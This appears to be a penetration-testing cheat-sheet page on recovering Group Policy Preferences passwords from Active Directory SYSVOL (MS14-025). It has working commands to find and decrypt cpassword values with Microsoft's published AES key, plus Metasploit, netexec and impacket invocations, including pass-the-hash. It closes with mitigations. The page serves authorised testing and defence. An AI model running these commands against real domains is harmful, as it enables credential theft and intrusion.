57 lines
2.5 KiB
Markdown
57 lines
2.5 KiB
Markdown
# Password - Group Policy Preferences
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Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.
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```powershell
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findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
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```
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Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
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```bash
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echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
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e.g:
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echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
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echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
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```
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## Automate the SYSVOL and passwords research
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* `Metasploit` modules to enumerate shares and credentials
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```c
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scanner/smb/smb_enumshares
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post/windows/gather/enum_shares
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post/windows/gather/credentials/gpp
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```
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* netexec modules
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```powershell
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nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
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nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
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```
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* [Get-GPPPassword](https://github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py)
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```powershell
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# with a NULL session
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Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
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# with cleartext credentials
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Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
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# pass-the-hash
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Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
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```
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## Mitigations
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* Install [KB2962486](https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025) on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
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* Delete existing GPP xml files in SYSVOL containing passwords.
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* Don’t put passwords in files that are accessible by all authenticated users.
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## References
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* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288) |